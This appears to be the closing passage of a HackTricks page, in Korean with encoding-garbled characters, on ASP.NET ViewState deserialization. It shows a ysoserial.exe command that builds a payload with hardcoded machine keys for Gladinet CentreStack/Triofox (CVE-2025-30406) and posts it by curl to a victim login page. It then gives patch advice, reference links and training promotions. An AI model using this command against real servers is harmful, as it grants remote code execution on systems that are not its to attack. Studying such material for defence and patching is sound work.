ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372์์ ์์ ๋จ โ ์ฆ์ ์ ๊ทธ๋ ์ด๋ํ๊ฑฐ๋ ํค๋ฅผ ๊ต์ฒดํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET
- Deep dive into .NET ViewState deserialization and its exploitation
- Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)
- Introducing badsecrets โ fast machineKey discovery
- SharePoint โToolShellโ exploitation chain (Eye Security, 2025)
- Microsoft Security โ Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)
- Kudelski Security advisory โ Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
- SharePoint โToolShellโ exploitation chain (Eye Security, 2025)
- Check Point Research โ Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


